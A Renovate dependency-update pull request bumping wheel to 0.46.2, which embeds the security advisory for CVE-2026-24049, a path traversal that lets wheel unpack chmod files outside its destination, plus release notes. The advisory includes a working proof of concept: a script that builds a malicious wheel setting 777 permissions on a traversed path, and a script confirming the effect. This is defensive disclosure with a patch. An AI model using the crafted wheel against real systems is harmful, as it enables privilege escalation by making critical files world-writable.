chore(deps): update dependency wheel to v0.46.2 [security]

[renovate-bot]

This PR contains the following updates:

Package	Change	Age	Confidence
wheel (changelog)	==0.40.0 → ==0.46.2

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Wheel Affected by Arbitrary File Permission Modification via Path Traversal in wheel unpack

CVE-2026-24049 / GHSA-8rrh-rw8j-w5fx

More information

Details

Summary

• Vulnerability Type: Path Traversal (CWE-22) leading to Arbitrary File Permission Modification.
• Root Cause Component: wheel.cli.unpack.unpack function.
• Affected Packages:
  1. wheel (Upstream source)
  2. setuptools (Downstream, vendors wheel)
• Severity: High (Allows modifying system file permissions).

Details

The vulnerability exists in how the unpack function handles file permissions after extraction. The code blindly trusts the filename from the archive header for the chmod operation, even though the extraction process itself might have sanitized the path.

##### Vulnerable Code Snippet (present in both wheel and setuptools/_vendor/wheel)
for zinfo in wf.filelist:
    wf.extract(zinfo, destination)  # (1) Extraction is handled safely by zipfile

    # (2) VULNERABILITY:
    # The 'permissions' are applied to a path constructed using the UNSANITIZED 'zinfo.filename'.
    # If zinfo.filename contains "../", this targets files outside the destination.
    permissions = zinfo.external_attr >> 16 & 0o777
    destination.joinpath(zinfo.filename).chmod(permissions)

PoC

I have confirmed this exploit works against the unpack function imported from setuptools._vendor.wheel.cli.unpack.

Prerequisites: pip install setuptools

Step 1: Generate the Malicious Wheel (gen_poc.py)
This script creates a wheel that passes internal hash validation but contains a directory traversal payload in the file list.

import zipfile
import hashlib
import base64
import os

def urlsafe_b64encode(data):
    """
    Helper function to encode data using URL-safe Base64 without padding.
    Required by the Wheel file format specification.
    """
    return base64.urlsafe_b64encode(data).rstrip(b'=').decode('ascii')

def get_hash_and_size(data_bytes):
    """
    Calculates SHA-256 hash and size of the data.
    These values are required to construct a valid 'RECORD' file,
    which is used by the 'wheel' library to verify integrity.
    """
    digest = hashlib.sha256(data_bytes).digest()
    hash_str = "sha256=" + urlsafe_b64encode(digest)
    return hash_str, str(len(data_bytes))

def create_evil_wheel_v4(filename="evil-1.0-py3-none-any.whl"):
    print(f"[Generator V4] Creating 'Authenticated' Malicious Wheel: {filename}")

    # 1. Prepare Standard Metadata Content
    # These are minimal required contents to make the wheel look legitimate.
    wheel_content = b"Wheel-Version: 1.0\nGenerator: bdist_wheel (0.37.1)\nRoot-Is-Purelib: true\nTag: py3-none-any\n"
    metadata_content = b"Metadata-Version: 2.1\nName: evil\nVersion: 1.0\nSummary: PoC Package\n"
   
    # 2. Define Malicious Payload (Path Traversal)
    # The content doesn't matter, but the path does.
    payload_content = b"PWNED by Path Traversal"

    # [ATTACK VECTOR]: Target a file OUTSIDE the extraction directory using '../'
    # The vulnerability allows 'chmod' to affect this path directly.
    malicious_path = "../../poc_target.txt"

    # 3. Calculate Hashes for Integrity Check Bypass
    # The 'wheel' library verifies if the file hash matches the RECORD entry.
    # To bypass this check, we calculate the correct hash for our malicious file.
    wheel_hash, wheel_size = get_hash_and_size(wheel_content)
    metadata_hash, metadata_size = get_hash_and_size(metadata_content)
    payload_hash, payload_size = get_hash_and_size(payload_content)

    # 4. Construct the 'RECORD' File
    # The RECORD file lists all files in the wheel with their hashes.
    # CRITICAL: We explicitly register the malicious path ('../../poc_target.txt') here.
    # This tricks the 'wheel' library into treating the malicious file as a valid, verified component.
    record_lines = [
        f"evil-1.0.dist-info/WHEEL,{wheel_hash},{wheel_size}",
        f"evil-1.0.dist-info/METADATA,{metadata_hash},{metadata_size}",
        f"{malicious_path},{payload_hash},{payload_size}",  # <-- Authenticating the malicious path
        "evil-1.0.dist-info/RECORD,,"
    ]
    record_content = "\n".join(record_lines).encode('utf-8')

    # 5. Build the Zip File
    with zipfile.ZipFile(filename, "w") as zf:
        # Write standard metadata files
        zf.writestr("evil-1.0.dist-info/WHEEL", wheel_content)
        zf.writestr("evil-1.0.dist-info/METADATA", metadata_content)
        zf.writestr("evil-1.0.dist-info/RECORD", record_content)

        # [EXPLOIT CORE]: Manually craft ZipInfo for the malicious file
        # We need to set specific permission bits to trigger the vulnerability.
        zinfo = zipfile.ZipInfo(malicious_path)
       
        # Set external attributes to 0o777 (rwxrwxrwx)
        # Upper 16 bits: File type (0o100000 = Regular File)
        # Lower 16 bits: Permissions (0o777 = World Writable)
        # The vulnerable 'unpack' function will blindly apply this '777' to the system file.
        zinfo.external_attr = (0o100000 | 0o777) << 16
       
        zf.writestr(zinfo, payload_content)

    print("[Generator V4] Done. Malicious file added to RECORD and validation checks should pass.")

if __name__ == "__main__":
    create_evil_wheel_v4()

Step 2: Run the Exploit (exploit.py)

from pathlib import Path
import sys

##### Demonstrating impact on setuptools
try:
    from setuptools._vendor.wheel.cli.unpack import unpack
    print("[*] Loaded unpack from setuptools")
except ImportError:
    from wheel.cli.unpack import unpack
    print("[*] Loaded unpack from wheel")

##### 1. Setup Target (Read-Only system file simulation)
target = Path("poc_target.txt")
target.write_text("SENSITIVE CONFIG")
target.chmod(0o400) # Read-only
print(f"[*] Initial Perms: {oct(target.stat().st_mode)[-3:]}")

##### 2. Run Vulnerable Unpack

##### The wheel contains "../../poc_target.txt".
##### unpack() will extract safely, BUT chmod() will hit the actual target file.
try:
    unpack("evil-1.0-py3-none-any.whl", "unpack_dest")
except Exception as e:
    print(f"[!] Ignored expected extraction error: {e}")

##### 3. Check Result
final_perms = oct(target.stat().st_mode)[-3:]
print(f"[*] Final Perms: {final_perms}")

if final_perms == "777":
    print("VULNERABILITY CONFIRMED: Target file is now world-writable (777)!")
else:
    print("[-] Attack failed.")

result:

Impact

Attackers can craft a malicious wheel file that, when unpacked, changes the permissions of critical system files (e.g., /etc/passwd, SSH keys, config files) to 777. This allows for Privilege Escalation or arbitrary code execution by modifying now-writable scripts.

Recommended Fix

The unpack function must not use zinfo.filename for post-extraction operations. It should use the sanitized path returned by wf.extract().

Suggested Patch:

##### extract() returns the actual path where the file was written
extracted_path = wf.extract(zinfo, destination)

##### Only apply chmod if a file was actually written
if extracted_path:
    permissions = zinfo.external_attr >> 16 & 0o777
    Path(extracted_path).chmod(permissions)

Severity

• CVSS Score: 7.1 / 10 (High)
• Vector String: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H

References

• https://github.com/pypa/wheel/security/advisories/GHSA-8rrh-rw8j-w5fx
• https://nvd.nist.gov/vuln/detail/CVE-2026-24049
• https://github.com/pypa/wheel/commit/7a7d2de96b22a9adf9208afcc9547e1001569fef
• https://github.com/pypa/wheel/releases/tag/0.46.2
• https://github.com/pypa/wheel/commit/934fe177ff912c8e03d5ae951d3805e1fd90ba5e
• https://github.com/advisories/GHSA-8rrh-rw8j-w5fx

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

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Release Notes

pypa/wheel (wheel)

v0.46.2

Compare Source

• Restored the bdist_wheel command for compatibility with setuptools older than v70.1
• Importing wheel.bdist_wheel now emits a FutureWarning instead of a DeprecationWarning
• Fixed wheel unpack potentially altering the permissions of files outside of the destination tree with maliciously crafted wheels (CVE-2026-24049)

v0.46.1

Compare Source

• Temporarily restored the wheel.macosx_libfile module (#​659)

v0.46.0

Compare Source

• Dropped support for Python 3.8
• Removed the bdist_wheel setuptools command implementation and entry point. The wheel.bdist_wheel module is now just an alias to setuptools.command.bdist_wheel, emitting a deprecation warning on import.
• Removed vendored packaging in favor of a run-time dependency on it
• Made the wheel.metadata module private (with a deprecation warning if it's imported
• Made the wheel.cli package private (no deprecation warning)
• Fixed an exception when calling the convert command with an empty description field

v0.45.1

Compare Source

• Fixed pure Python wheels converted from eggs and wininst files having the ABI tag in the file name

v0.45.0

Compare Source

• Refactored the convert command to not need setuptools to be installed

• Don't configure setuptools logging unless running bdist_wheel

• Added a redirection from wheel.bdist_wheel.bdist_wheel to setuptools.command.bdist_wheel.bdist_wheel to improve compatibility with setuptools' latest fixes.

  Projects are still advised to migrate away from the deprecated module and import the setuptools' implementation explicitly. (PR by @​abravalheri)

v0.44.0

Compare Source

• Canonicalized requirements in METADATA file (PR by Wim Jeantine-Glenn)
• Deprecated the bdist_wheel module, as the code was migrated to setuptools itself

v0.43.0

Compare Source

• Dropped support for Python 3.7
• Updated vendored packaging to 24.0

v0.42.0

Compare Source

• Allowed removing build tag with wheel tags --build ""
• Fixed wheel pack and wheel tags writing updated WHEEL fields after a blank line, causing other tools to ignore them
• Fixed wheel pack and wheel tags writing WHEEL with CRLF line endings or a mix of CRLF and LF
• Fixed wheel pack --build-number "" not removing build tag from WHEEL (above changes by Benjamin Gilbert)

v0.41.3

Compare Source

• Updated vendored packaging to 23.2
• Fixed ABI tag generation for CPython 3.13a1 on Windows (PR by Sam Gross)

v0.41.2

Compare Source

v0.41.1

Compare Source

v0.41.0

Compare Source

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Code Review

This pull request updates the version of the wheel package in requirements.txt from 0.40.0 to 0.46.2. There are no review comments to address, and I have no additional feedback to provide.